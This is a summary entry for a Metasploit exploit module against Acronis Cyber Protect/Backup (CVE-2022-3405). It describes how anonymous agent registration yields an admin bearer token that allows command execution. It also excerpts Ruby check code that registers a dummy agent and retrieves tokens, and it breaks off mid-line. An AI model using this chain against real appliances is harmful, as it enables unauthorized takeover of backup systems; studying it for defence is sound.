Metasploit Module: Acronis Cyber Protect/Backup remote code execution
Type: exploit
Path: modules/exploits/multi/http/acronis_cyber_protect_unauth_rce_cve_2022_3405.rb
Platform: unix
Disclosure date: 2022-11-08
References: CVE-2022-3405, URL-https://herolab.usd.de/security-advisories/usd-2022-0008/, URL-https://attackerkb.com/topics/WVI3r5eNIc/cve-2022-3405
Targets: Unix/Linux Command, Windows Command

Description:
Acronis Cyber Protect or Backup is an enterprise backup/recovery solution for all,
          compute, storage and application resources. Businesses and Service Providers are using it
          to protect and backup all IT assets in their IT environment.
          The Acronis Cyber Protect appliance, in its default configuration, allows the anonymous
          registration of new protect/backup agents on new endpoints. This API endpoint also
          generates bearer tokens which the agent then uses to authenticate to the appliance.
          As the management web console is running on the same port as the API for the agents, this
          bearer token is also valid for any actions on the web console. This allows an attacker
          with network access to the appliance to start the registration of a new agent, retrieve a
          bearer token that provides admin access to the available functions in the web console.

          The web console contains multiple possibilities to execute arbitrary commands on both the
          agents (e.g., via PreCommands for a backup) and also the appliance (e.g., via a Validation
          job on the agent of the appliance). These options can easily be set with the provided bearer
          token, which leads to a complete compromise of all agents and the appliance itself.

          You can either use the module `auxiliary/gather/acronis_cyber_protect_machine_info_disclosure`
          to collect target info for exploitation in this module. Or just run this module standalone and
          it will try to exploit the first online endpoint matching your target and payload settings
          configured at the module.

          Acronis Cyber Protect 15 (Windows, Linux) before build 29486 and
          Acronis Cyber Backup 12.5 (Windows, Linux) before build 16545 are vulnerable.

Check method (fingerprinting):
@check_running = true
    # initial check on api access
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'api', 'meta'),
      'ctype' => 'application/json'
    })
    return Exploit::CheckCode::Unknown('No Acronis API access found!') unless res&.code == 200 && res.body.include?('uri') && res.body.include?('method')

    # get first access token
    print_status('Retrieve the first access token.')
    @access_token1 = get_access_token1
    vprint_status("Extracted first access token: #{@access_token1}")
    return Exploit::CheckCode::Unknown('Retrieval of the first access token failed.') if @access_token1.nil?

    # register a dummy agent
    client_id = Faker::Internet.uuid
    print_status('Register a dummy backup agent.')
    client_secret = dummy_agent_registration(client_id, @access_token1)
    return Exploit::CheckCode::Unknown('Registering a dummy agent failed.') if client_secret.nil?

    print_status('Dummy backup agent registration is successful.')

    # get second access_token
    print_status('Retrieve the second access token.')
    @access_token2 = get_access_token2(client_id, client_secret)
    vprint_status("Extracted second access token: #{@access_token2}")
    return Exploit::CheckCode::Unknown('Retrieval of the second  access token failed.') if @access_token2.nil?

    # get version info
    version = get_version_info(@access_token2)
    return Exploit::CheckCode::Unknown('Can not find any version informat